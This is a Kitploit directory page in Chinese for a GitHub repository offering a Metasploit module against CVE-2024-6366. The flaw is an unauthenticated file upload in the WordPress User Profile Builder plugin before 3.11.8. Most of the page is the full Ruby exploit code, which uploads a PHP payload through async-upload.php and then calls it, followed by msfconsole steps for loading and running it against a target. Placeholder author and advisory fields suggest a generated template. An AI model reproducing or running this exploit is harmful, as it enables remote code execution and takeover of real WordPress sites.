Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6366 — Metasploit 漏洞利用模块,针对 CVE-2024-6366,即 WordPress User Profile Builder 3.11.8 之前版本中未经身份验证的文件上传远程代码执行漏洞,可上传并执行 PHP 载荷。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/cve-2024-6366
漏洞利用框架漏洞分析代码分析Web应用程序漏洞利用渗透测试Payload 开发
GitHubabdurahmon3236/cve-2024-6366

CVE-2024-6366

Metasploit 漏洞利用模块,针对 CVE-2024-6366,即 WordPress User Profile Builder 3.11.8 之前版本中未经身份验证的文件上传远程代码执行漏洞,可上传并执行 PHP 载荷。

查看仓库
412年前尚未审核
分享

为了在WordPress插件User Profile Builder 3.11.8之前版本中利用RCE漏洞创建Metasploit模块,我们需要利用媒体文件上传功能中缺乏适当授权的问题。以下是创建此类Metasploit模块的方法:

Metasploit模块

将以下代码保存为wordpress_user_profile_builder_rce.rb,并放置在Metasploit Framework安装目录的modules/exploits/unix/webapp文件夹中。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
      'Description'    => %q{
        本模块利用WordPress插件User Profile Builder 3.11.8之前版本中的一个漏洞。
        该插件缺少适当的授权,允许未认证用户通过异步上传功能上传媒体文件。
        这可用于上传并执行恶意PHP有效负载。
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-6366'],  # 替换为实际的CVE标识符
          ['URL', 'https://example.com/advisory'] # 如果有公告链接请替换
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'WordPress User Profile Builder < 3.11.8', {} ]
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "WordPress安装的基础路径", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.body.include?('wp-content/plugins/user-profile-builder')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_payload = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
    data.add_part('1', nil, nil, 'form-data; name="html-upload"')
    data.add_part('Upload', nil, nil, 'form-data; name="upload"')

    print_status("正在上传PHP有效负载...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    })

    if res && res.code == 200 && res.body.include?('.php')
      php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
      print_good("有效负载上传成功:#{php_path}")

      register_files_for_cleanup(php_path)
      execute_command("#{php_path}")
    else
      fail_with(Failure::UnexpectedReply, '上传有效负载失败')
    end
  end

  def execute_command(php_path)
    print_status("正在执行PHP有效负载...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_path)
    })
  end
end

使用说明

  1. 保存模块: 将模块保存为wordpress_user_profile_builder_rce.rb,并放置在Metasploit Framework安装目录的modules/exploits/unix/webapp文件夹中。

    /path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
    
  2. 加载Metasploit: 打开终端并运行以下命令启动Metasploit Framework:

    msfconsole
    
  3. 使用新模块: 在Metasploit控制台中,使用以下命令加载新的漏洞利用模块:

    use exploit/unix/webapp/wordpress_user_profile_builder_rce
    
  4. 配置并运行: 设置必要选项,例如RHOSTS和TARGETURI。然后运行漏洞利用。

    msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
    

重要注意事项

  • 在测试或利用任何系统之前,请确保您具有适当的权限。
  • 此模块是一个基本模板,可能需要根据特定目标设置或具体目标进行调整。
  • 始终在安全和受控的环境中测试模块,然后再用于任何生产系统。

此Metasploit模块将恶意PHP文件上传到易受攻击的WordPress安装,然后执行它以实现远程代码执行。根据漏洞的具体性质和目标环境,根据需要调整有效负载和模块。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    441
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    264

探索所有工具

浏览我们的工具集合

查看所有工具 →